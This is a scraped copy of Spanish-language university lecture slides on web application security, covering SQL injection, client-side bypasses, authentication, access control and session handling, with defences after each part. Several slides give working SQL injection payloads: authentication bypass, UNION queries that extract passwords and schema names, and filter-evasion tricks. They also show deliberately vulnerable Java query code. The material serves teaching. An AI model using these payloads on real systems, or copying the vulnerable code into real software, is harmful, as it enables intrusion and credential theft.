Estética, nuevos materiales y funcionalidad eficiente: la ...
Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi...
Transcript of Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi...
![Page 1: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/1.jpg)
Seguridad en Aplicaciones Web
Jesus Arias Fisteus
Aplicaciones Web (2016/17)
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 1
![Page 2: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/2.jpg)
Parte I
Introduccion
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 2
![Page 3: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/3.jpg)
Seguridad en aplicaciones Web
This site is absolutely secure. It has been designed touse 128-bit Secure Socket Layer (SSL) technology toprevent unauthorized users from viewing any of yourinformation. You may use this site with peace of mindthat your data is safe with us.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 3
![Page 4: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/4.jpg)
Seguridad en aplicaciones Web
Bag Check
A laptop battery contains roughly the stored energy of a hand grenade, and ifshorted it ... hey! You can’t arrest me if I prove your rules inconsistent!
http://xkcd.com/651/
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 4
![Page 5: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/5.jpg)
Seguridad en aplicaciones Web
http://geekandpoke.typepad.com/geekandpoke/2011/05/
everybody-has-to-set-priorities.html
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 5
![Page 6: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/6.jpg)
Errores mas peligrosos en programas
I 2011 CWE/SANS Top 25 Most Dangerous Software ErrorsI http://cwe.mitre.org/top25/
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 6
![Page 7: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/7.jpg)
Seguridad en aplicaciones Web
¡Los usuarios pueden enviardatos arbitrarios a la
aplicacion!
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 7
![Page 8: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/8.jpg)
Envıo de datos arbitrarios
I Los usuarios pueden:I Alterar cualquier dato transferido al servidor: parametros de la
peticion, cookies, cabeceras HTTP.I Enviar peticiones en secuencias arbitrarias, enviar parametros
en peticiones en que el servidor no lo espera, no enviarlos,enviarlos mas de una vez.
I Usar herramientas distintas a un navegador Web para atacarmas facilmente la aplicacion.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 8
![Page 9: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/9.jpg)
Envıo de datos manipulados
I En la mayorıa de los ataques se envıan datos manipuladospara causar un efecto no deseado en la aplicacion. Ejemplos:
I Cambio del precio de un producto en un campo oculto de unformulario.
I Modificar el token de sesion.I Eliminar algunos parametros que el servidor espera.I Alterar datos que van a ser procesados por una base de datos.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 9
![Page 10: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/10.jpg)
Parte II
Ataques al almacenamiento de datos
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 10
![Page 11: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/11.jpg)
Ataques al almacenamiento de datos
I Principales ataques:I Bases de datos SQL (inyeccion de SQL).I Bases de datos XML.I Directorios LDAP.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 11
![Page 12: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/12.jpg)
Ataques al almacenamiento de datos
Exploits of a Mom
http://xkcd.com/327/
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 12
![Page 13: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/13.jpg)
Como se explota la sintaxis de SQL
I La comilla simple es un caracter especial en SQL que se utilizapara delimitar cadenas de texto.
I La secuencia -- (comentario) invalida el resto del comando.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 13
![Page 14: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/14.jpg)
Esquivar la autenticacion
I Codigo fuente de la aplicacion:
1 String name = request.getParameter("name");2 String password = request.getParameter("password");3 String query =4 "SELECT id, name , fullName , balance FROM Users "5 + "WHERE name='" + name6 + "' AND password='" + password + "'";
I Ataque con el siguiente valor en nombre:
juan' -- '
1 SELECT id, name , fullName , balance2 FROM Users3 WHERE name='juan' -- '' AND password=''
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 14
![Page 15: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/15.jpg)
Esquivar la autenticacion
I Si no se conoce el nombre del usuario, se puede obtener elprimero.
I Ataque con el siguiente valor en nombre:
' OR 1=1 -- '
1 SELECT id, name , fullName , balance2 FROM Users3 WHERE name='' OR 1=1 -- '' AND password=''
I En muchas aplicaciones el primer usuario es el administrador,que cuenta con privilegios especiales.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 15
![Page 16: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/16.jpg)
Tipos de consultas vulnerables
I Cualquier tipo de consulta es vulnerable (SELECT, INSERT,UPDATE, etc.)
I Se puede inyectar tanto en datos textuales como en datosnumericos.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 16
![Page 17: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/17.jpg)
Ataques a consultas INSERT
I Se inyecta mas de un valor en un unico campo del formulario:
1 String name = request.getParameter("name");2 String fullName = request.getParameter("fullName");3 String password = request.getParameter("password");4 int balance = 0;5 String query =6 "INSERT INTO Users (name , password , "7 + "fullName , balance) VALUES "8 + "('" + user.getName () + "', '"9 + user.getPassword () + "', '"
10 + user.getFullName () + "', "11 + user.getBalance () + ")";
I Ataque con el siguiente valor en fullName:
Manolo Gonzalez', 200000) -- '
1 INSERT INTO Users2 (name , password , fullName , balance)3 VALUES4 ('Cris', 'crispwd ', 'Cris Roig', 20000.0) -- '', 0.0)
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 17
![Page 18: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/18.jpg)
Ataques con UNION
I El comando UNION permite combinar resultados de dosconsultas y puede ser usado tambien en ataques:
1 int genre = request.getParameter("genre");2 String query =3 "SELECT id, title , author , genre , pages "4 + "FROM Books WHERE genre=" + genre;
I Ataque con el siguiente valor en genero:
1 UNION SELECT NULL, name, password, NULL, NULL
FROM Users
1 SELECT id, title , author , genre , pages2 FROM Books3 WHERE genre=14 UNION5 SELECT NULL , name , password , NULL , NULL6 FROM Users
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 18
![Page 19: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/19.jpg)
Nombres de tablas y columnas
I Para realizar algunos tipos de ataques es necesario conocernombres de tablas y columnas.
I A veces los nombres son predecibles. Si no, se puedendescubrir con consultas inyectadas con UNION.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 19
![Page 20: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/20.jpg)
Nombres de tablas y columnas
1 UNION
SELECT NULL, TABLE_SCHEMA, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS
1 UNION
SELECT NULL, TABLE_NAME, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA='SecurityDemo'
1 UNION
SELECT NULL, COLUMN_NAME, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_SCHEMA='SecurityDemo'
AND TABLE_NAME='Users'
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 20
![Page 21: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/21.jpg)
Inyeccion de segundo orden
I Aun filtrando correctamente comillas (sustitucion de comillasimple por doble), futuras consultas son vulnerables si seinsertan en la base de datos valores con comilla simple.
I Las comillas no son necesarias en campos numericos.I El comentario se reemplaza por “or 'a'='a”.I El bloqueo de palabras clave se puede esquivar a veces:
I SeLeCtI SELSELECTECT
I Si se filtran blancos, se puede insertar comentarios “/**/”.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 21
![Page 22: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/22.jpg)
Defensa frente a estos ataques
I Usar PreparedStatement o equivalente:I En todas las consultas, no solo en las que toman datos
directamente del usuario.
I Usar el nivel de privilegios mas bajo posible.
I Deshabilitar funciones innecesarias de las bases de datos.
I Mantener el gestor de bases de datos siempre actualizado.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 22
![Page 23: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/23.jpg)
Otros ataques de inyeccion de codigo
I Otros ataques similares por inyeccion de codigo:I Inyeccion en comandos del sistema operativo.I Inyeccion en lenguajes de scripting.I Inyeccion en JSON.I Inyeccion en XML.I Inyeccion en LDAP.I Inyeccion en correo electronico.I Inyeccion en cabeceras de HTTP.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 23
![Page 24: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/24.jpg)
Parte III
Esquivar controles en el cliente
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 24
![Page 25: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/25.jpg)
Datos recibidos del cliente
I Datos enviados por el servidor a traves del cliente.
I Datos recogidos por el cliente.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 25
![Page 26: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/26.jpg)
Datos enviados a traves del cliente
I Enviados tıpicamente mediante:I Campos ocultos en formularios.I Cookies HTTP.I Parametros en URLs.I Cabeceras HTTP.
I Son susceptibles de ser modificados por el usuario.
I Incluso en ocasiones a pesar de ser “opacos”.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 26
![Page 27: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/27.jpg)
Campos ocultos en formularios
1 <form method="post" action="Shop.aspx?prod=1">2 <p>Product: iPhone 6S 64GB</p>3 <p>Price: 659.62 </p>4 <label>Quantity: <input type="text" name="quantity"></label >5 <input type="hidden" name="price" value="659.62">6 <input type="submit" value="Buy">7 </form>
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 27
![Page 28: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/28.jpg)
Cookies HTTP
HTTP/1.1 200 OK
Set-Cookie: DiscountAgreed=25
Content-Length: 1530
(...)
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 28
![Page 29: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/29.jpg)
Datos recogidos por el cliente
I Recogidos tıpicamente mediante:I Formularios HTML.I Javascript, Flash, etc.
I Son susceptibles de ser establecidos arbitrariamente por elusuario saltando la validacion del lado del cliente(restricciones en el formulario, validaciones JavaScript, etc.)
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 29
![Page 30: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/30.jpg)
Proteccion frente a estos ataques
I Para proteger la aplicacion, es recomendable:I No enviar datos sensibles a traves del cliente:
I Si no queda mas remedio, cifrarlos o firmarlos (cuidado conataques por repeticion y ataques con texto claro conocido).
I Validar en el servidor todos los datos procedentes del cliente.I Sistema de logs, monitorizacion y alertas.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 30
![Page 31: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/31.jpg)
Parte IV
Ataques a los mecanismos de
autenticacion
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 31
![Page 32: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/32.jpg)
Ataques a la autenticacion
I Errores en la autenticacion:I Errores de diseno.I Errores de implementacion.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 32
![Page 33: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/33.jpg)
Ataques a la autenticacion
http://abstrusegoose.com/296
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 33
![Page 34: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/34.jpg)
Errores de diseno (I)
I Contrasenas debiles.
I Posibilidad de ataques de fuerza bruta.
I Mensajes de error detallados.
I Transmision vulnerable de credenciales.
I Funcionalidad de cambio de contrasena.
I Funcionalidad de “contrasena olvidada”.
I Funcionalidad “recuerdame”.
I Funcionalidad de impersonacion de usuarios.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 34
![Page 35: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/35.jpg)
Errores de diseno (II)
I Validacion de credenciales incompleta.
I Nombres de usuario no unicos.
I Nombres de usuario predecibles.
I Contrasenas iniciales predecibles.
I Distribucion insegura de credenciales.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 35
![Page 36: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/36.jpg)
Errores de implementacion
I Errores en la logica de la aplicacion.
I Defectos en mecanismos de autenticacion multi-paso.
I Almacenamiento inseguro de credenciales.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 36
![Page 37: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/37.jpg)
Ejemplo
1 public void doGet(HttpServletRequest request ,2 HttpServletResponse response)3 throws ServletException , IOException {4 User user = null;5 try (DBManager db = new DBManager ()) {6 String userName = request.getParameter("username");7 String password = request.getParameter("password");8 user = db.getUser(userName , password);9 if (user == null) {
10 // invalid credentials11 response.sendRedirect("loginFailed");12 }13 } catch (Exception e) {}14
15 // valid credentials16 session.setAttribute("user", user);17 RequestDispatcher rd =18 request.getRequestDispatcher("mainView");19 rd.forward(request , response);20 }
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 37
![Page 38: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/38.jpg)
Proteccion de los mecanismos de autenticacion
I Usar credenciales robustas.
I Manejar credenciales confidencialmente.
I Validar credenciales apropiadamente.
I Prevenir fuga de informacion.
I Prevenir ataques de fuerza bruta.
I Evitar uso fraudulento de la funcionalidad de cambio decontrasena.
I Evitar uso fraudulento de la funcionalidad de recordarcontrasena.
I Sistema de logs, monitorizacion y alertas.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 38
![Page 39: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/39.jpg)
Parte V
Ataques al control de acceso
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 39
![Page 40: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/40.jpg)
Ataques al control de acceso
I El usuario accede a recursos o acciones para los que no estaautorizado:
I Escalada vertical de privilegios.I Escalada horizontal de privilegios.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 40
![Page 41: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/41.jpg)
Vulnerabilidades en el control de acceso
I Funcionalidad sin proteger en absoluto: por ejemplo,suponiendo URLs desconocidas.
I Funciones basadas en identificador de recurso supuestamentedesconocido.
I Funciones multi-etapa.
I Acceso sin control a ficheros estaticos.I Control de acceso inseguro: basado en datos enviados por el
cliente.I Ejemplo: http://www.test.com/?admin=true
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 41
![Page 42: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/42.jpg)
Proteccion del control de acceso (I)
I No basarse en el desconocimiento por el usuario de URLs oidentificadores.
I No pasar datos relativos al control de acceso a traves delusuario.
I No asumir una secuencia concreta en las peticiones.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 42
![Page 43: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/43.jpg)
Proteccion del control de acceso (II)
I Buenas practicas:I Documentar y evaluar el sistema de control de acceso.I Basar las decisiones en la sesion del usuario.I Usar un componente central para tomar las decisiones sobre el
acceso a recursos.I Restringir funcionalidad delicada por rango de IPs.I Controlar el acceso a ficheros estaticos.I Validar identificadores de recurso siempre que vengan del
cliente.I Nueva autenticacion en funcionalidad sensible.I Sistema de logs de acceso.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 43
![Page 44: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/44.jpg)
Parte VI
Ataques a la gestion de sesiones
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 44
![Page 45: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/45.jpg)
Ataques a la gestion de sesiones
I La autenticacion de usuarios se complementa con mecanismosde gestion de sesiones:
I Token de sesion: identificador que envıa el cliente en suspeticiones, con frecuencia en una cookie, para que el servidoridentifique a que sesion pertenecen.
I Dos grupos de vulnerabilidades principalmente:I Generacion de tokens de sesion debiles.I Debilidades en el manejo de tokens de sesion durante su ciclo
de vida.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 45
![Page 46: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/46.jpg)
Generacion de tokens debiles
I Tokens con significado deducible:I Nombre de usuario, id de usuario en la base de datos, fecha,
numero secuencial o secuencia deducible, direccion IP,direccion de correo electronico, etc.
user=daf;app=admin;date=10/09/11
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 46
![Page 47: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/47.jpg)
Generacion de tokens debiles
I Tokens predecibles:I Incluyen informacion temporal, secuencias facilmente
deducibles, secuencias pseudoaleatorias.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 47
![Page 48: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/48.jpg)
Debilidades en el manejo de tokens de sesion (I)
I Interceptacion en la red del token:I Uso de HTTP en las comunicaciones.I Problemas en el uso de HTTPS:
I Uso solo en el procedimiento de autenticacion.I Uso de token previo obtenido por HTTP.I Peticiones por HTTP despues de haber entrado en HTTPS:
por ejemplo, ficheros estaticos por HTTP, boton atras, etc.I Induccion por el atacante a realizar una peticion HTTP (por
correo electronico, desde otros sitios Web, etc.)
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 48
![Page 49: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/49.jpg)
Debilidades en el manejo de tokens de sesion (II)
I Exposicion del token en logs o aplicaciones de gestion.
I Mapeo vulnerable de tokens a sesiones.
I Terminacion de sesion vulnerable: no hay funcion cierre desesion o no se invalida el token en el servidor.
